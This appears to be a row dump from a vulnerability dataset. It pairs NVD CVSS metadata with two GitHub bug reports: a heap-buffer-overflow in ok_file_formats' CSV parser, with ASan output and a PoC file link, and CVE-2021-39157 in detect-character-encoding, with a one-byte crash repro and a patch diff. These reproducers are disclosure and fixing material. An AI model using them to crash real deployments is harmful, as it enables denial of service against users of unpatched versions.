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"type": "Primary"
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} | [
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] | 787 | https://github.com/brackeen/ok-file-formats/issues/13 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"brackeen",
"ok-file-formats"
] | ## Description
A heap-buffer-overflow was discovered in ok_file_formats. The issue is being triggered in function ok_csv_circular_buffer_read() at ok_csv.c:95
## Version
dev version, git clone https://github.com/brackeen/ok-file-formats.git
## Environment
Ubuntu 18.04, 64bit
## Reproduce
**test program**
```c
int main(int argc, char *argv[]) {
FILE *file = fopen(argv[1], "rb");
ok_csv *csv = ok_csv_read(file);
fclose(file);
if (csv->error_message) {
fprintf(stderr, "%s\n", csv->error_message);
}
ok_csv_free(csv);
return 0;
}
```
Compile test program with Address Sanitizer:
```
gcc -g -fsanitize=address main-asan main.c ok_csv.c ok_csv.h
```
**Asan Report**
```
$ ./main-asan ./poc.csv
=================================================================
==58179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000000480 at pc 0x7f4834e5577a bp 0x7fff1198aed0 sp 0x7fff1198a678
WRITE of size 181 at 0x606000000480 thread T0
#0 0x7f4834e55779 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79779)
#1 0x55fd598bd79a in ok_csv_circular_buffer_read /home/au9/ok-file-format/ok_csv.c:95
#2 0x55fd598bf52d in ok_csv_decode2 /home/au9/ok-file-format/ok_csv.c:484
#3 0x55fd598bdf1d in ok_csv_decode /home/au9/ok-file-format/ok_csv.c:241
#4 0x55fd598bdd4a in ok_csv_read /home/au9/ok-file-format/ok_csv.c:177
#5 0x55fd598bd0c2 in main /home/au9/ok-file-format/main.c:8
#6 0x7f4834a0cbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#7 0x55fd598bcf89 in _start (/home/au9/ok-file-format/main-asan+0xf89)
0x606000000480 is located 0 bytes to the right of 64-byte region [0x606000000440,0x606000000480)
allocated by thread T0 here:
#0 0x7f4834ebab40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x55fd598bf4e1 in ok_csv_decode2 /home/au9/ok-file-format/ok_csv.c:479
#2 0x55fd598bdf1d in ok_csv_decode /home/au9/ok-file-format/ok_csv.c:241
#3 0x55fd598bdd4a in ok_csv_read /home/au9/ok-file-format/ok_csv.c:177
#4 0x55fd598bd0c2 in main /home/au9/ok-file-format/main.c:8
#5 0x7f4834a0cbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79779)
Shadow bytes around the buggy address:
0x0c0c7fff8040: 00 00 00 00 00 00 00 03 fa fa fa fa 00 00 00 00
0x0c0c7fff8050: 00 00 00 05 fa fa fa fa 00 00 00 00 00 00 05 fa
0x0c0c7fff8060: fa fa fa fa 00 00 00 00 00 00 04 fa fa fa fa fa
0x0c0c7fff8070: 00 00 00 00 00 00 00 06 fa fa fa fa 00 00 00 00
0x0c0c7fff8080: 00 00 00 05 fa fa fa fa 00 00 00 00 00 00 00 00
=>0x0c0c7fff8090:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==58179==ABORTING
```
## PoC
[poc.csv](https://github.com/brackeen/ok-file-formats/files/6398143/poc.csv)
| heap-buffer-overflow in ok_csv_circular_buffer_read() at ok_csv.c:95 | https://api.github.com/repos/brackeen/ok-file-formats/issues/13/comments | 2 | 2021-04-29T11:33:39Z | 2024-09-03T14:14:18Z | https://github.com/brackeen/ok-file-formats/issues/13 | 870,913,283 | 13 | 2,373 |
CVE-2021-39157 | 2021-08-24T19:15:32.127 | detect-character-encoding is an open source character encoding inspection library. In detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash. The problem has been patched in [detect-character-encoding v0.7.0](https://github.com/sonicdoe/detect-character-encoding/releases/tag/v0.7.0). No workaround are available and all users should update to resolve this issue. | {
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{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 5,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
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}
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"cvssMetricV30": null,
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"attackComplexity": "LOW",
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "security-advisories@github.com",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/sonicdoe/detect-character-encoding/commit/992a11007fff6cfd40b952150ab8d30410c4a20a"
},
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"tags": [
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"Third Party Advisory"
],
"url": "https://github.com/sonicdoe/detect-character-encoding/issues/15"
},
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"url": "https://github.com/sonicdoe/detect-character-encoding/security/advisories/GHSA-jqfh-8hw5-fqjr"
},
{
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],
"url": "https://github.com/sonicdoe/detect-character-encoding/commit/992a11007fff6cfd40b952150ab8d30410c4a20a"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/sonicdoe/detect-character-encoding/issues/15"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/sonicdoe/detect-character-encoding/security/advisories/GHSA-jqfh-8hw5-fqjr"
}
] | [
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"755"
] | 755 | https://github.com/sonicdoe/detect-character-encoding/issues/15 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"sonicdoe",
"detect-character-encoding"
] | ########CRASH STACK:
#0 0x00007fbf4050ea21 in icu_59::CharsetMatch::getName() const ()
from /home/tuna/papilio/node_modules/detect-character-encoding/build/Release/icuWrapper.node
#1 0x00007fbf4050d35b in DetectCharacterEncoding(Nan::FunctionCallbackInfo<v8::Value> const&) ()
from /home/tuna/papilio/node_modules/detect-character-encoding/build/Release/icuWrapper.node
#2 0x00007fbf4050cf96 in Nan::imp::FunctionCallbackWrapper(v8::FunctionCallbackInfo<v8::Value> const&) ()
from /home/tuna/papilio/node_modules/detect-character-encoding/build/Release/icuWrapper.node
########USE THIS DEMO TO REAPPEARS:
function main() {
console.log("=====START=====");
let rawData = new Buffer('AD', 'hex');
const detectCharacterEncoding = require('detect-character-encoding');
const charsetMatch = detectCharacterEncoding(rawData);
console.log("=====END=====", charsetMatch.encoding);
}
########FIXUP DIFF:
diff --git a/icuWrapper.cpp b/icuWrapper.cpp
index a228fe0..8d0bba3 100644
--- a/icuWrapper.cpp
+++ b/icuWrapper.cpp
@@ -34,6 +34,12 @@ NAN_METHOD(DetectCharacterEncoding) {
charsetMatch = ucsdet_detect(charsetDetector, &errorCode);
+ if(NULL == charsetMatch) {
+ Nan::ThrowError("Failed to charset not match.");
+ ucsdet_close(charsetDetector);
+ return;
+ }
+
if(U_FAILURE(errorCode)) {
Nan::ThrowError("Failed to detect charset.");
ucsdet_close(charsetDetector);
| A native crash | https://api.github.com/repos/sonicdoe/detect-character-encoding/issues/15/comments | 1 | 2018-11-06T09:49:01Z | 2018-11-06T18:32:49Z | https://github.com/sonicdoe/detect-character-encoding/issues/15 | 377,766,614 | 15 | 2,374 |
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